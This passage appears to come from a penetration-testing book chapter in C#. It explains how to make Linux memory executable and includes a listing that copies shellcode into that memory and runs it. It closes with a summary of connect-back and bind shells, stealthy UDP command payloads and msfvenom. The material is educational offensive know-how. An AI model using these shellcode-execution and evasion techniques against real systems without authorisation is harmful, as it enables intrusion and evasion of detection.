The technique used to achieve shellcode execution on Linux will not work on an operating system that restricts the allocation of RWX memory. For example, if your Linux distribution is running SELinux, these examples might not work on your machine. For this reason, I recommend Ubuntu—because SELinux is not present, the examples should run without issue.

In order to make sure we free the allocated memory later, we set freeMe to true. Next, we take the pointer that posix_memalign() set during allocation (the ptr variable) and create a page-aligned pointer using the page-aligned memory space we allocated by performing a bitwise AND operation on the pointer with the ones’ complement of our pagesize . In essence, the ones’ complement effectively turns our pointer address into a negative number so that our math for setting the memory permissions adds up.

Because of the way Linux allocates memory in pages, we must change the mode for the entire memory page where our payload memory was allocated. The bitwise AND with the ones’ complement of the current pagesize will round the memory address given to us by posix_memalign() down to the beginning of the memory page where the pointer resides. This allows us to set the mode for the full memory page being used by the memory allocated by posix_memalign().

We also create the mode to set the memory to by performing an OR operation on the values 0x04 (read), 0x02 (write), and 0x01 (execute) and storing the value from the OR operations in the mode variable . Finally, we call mprotect() by passing the aligned pointer of the memory page, the alignment of the memory (as passed into the posix_memalign() function), and the mode to set the memory to. Like the posix_memalign() function, IntPtr.Zero is returned if mprotect() successfully changes the mode of the memory page. If IntPtr.Zero is not returned, we print an error message and return to exit the payload.

Copying and Executing the Payload

We are now set up to copy our payload into our memory space and execute the code, as shown in Listing 4-31.

        Marshal.Copy(payload, 0, ptr, payload.Length);
         LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun));
         r();
    }
    finally
    {
      if (freeMe)
    free(ptr);
    }
  }

Listing 4-31: Copying the payload to the allocated memory and executing the payload

The last few lines of Listing 4-31 should look similar to the code we wrote to execute the Windows payload (Listing 4-26). The Marshal.Copy() method copies our payload into our allocated memory buffer and the Marshal.GetDelegateForFunctionPointer() method turns the payload in memory into a delegate that we can call from our managed code. Once we have a delegate pointing to our code in memory, we call it in order to execute the code. A finally block following the try block frees the memory allocated by posix_memalign() if freeMe is set to true .

Finally, we add our generated Windows and Linux payloads to the cross-platform payload, which allows us to compile and run the same payload on either Windows or Linux.

Conclusion

In this chapter, we discussed a few different ways to create custom payloads that are useful in a variety of circumstances.

Payloads that utilize TCP can provide benefits when you are attacking a network, from getting a shell from an internal network to maintaining persistence. Using a connect-back technique, you can achieve a shell on a remote box, thus aiding in a phishing campaign, for example, where a pentest is completely external from the network. A bind technique, on the other hand, can help you maintain persistence on boxes without having to exploit the vulnerability on the machine again if internal access to the network is available.

Payloads that communicate over UDP can often get around poorly configured firewalls and might be able to bypass an intrusion detection system focused on TCP traffic. Although less reliable than TCP, UDP offers the speed and stealth that the heavily scrutinized TCP generally can’t provide. By using a UDP payload that listens for incoming broadcasts, attempts to execute the commands sent, and then broadcasts the results back you, your attacks can be a bit quieter and possibly stealthier at the expense of stability.

Metasploit allows an attacker to create many types of payloads on the fly, and it’s easy to install and get running. Metasploit includes the msfvenom tool, which creates and encodes payloads for use in exploits. Using the msfvenom tool to generate native assembly payloads, you can build a small, cross-platform executable to detect and run shellcode for a variety of operating systems. This gives you great flexibility in the payloads that are run on a target’s box. It also makes use of one of the most powerful and useful Metasploit features available.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset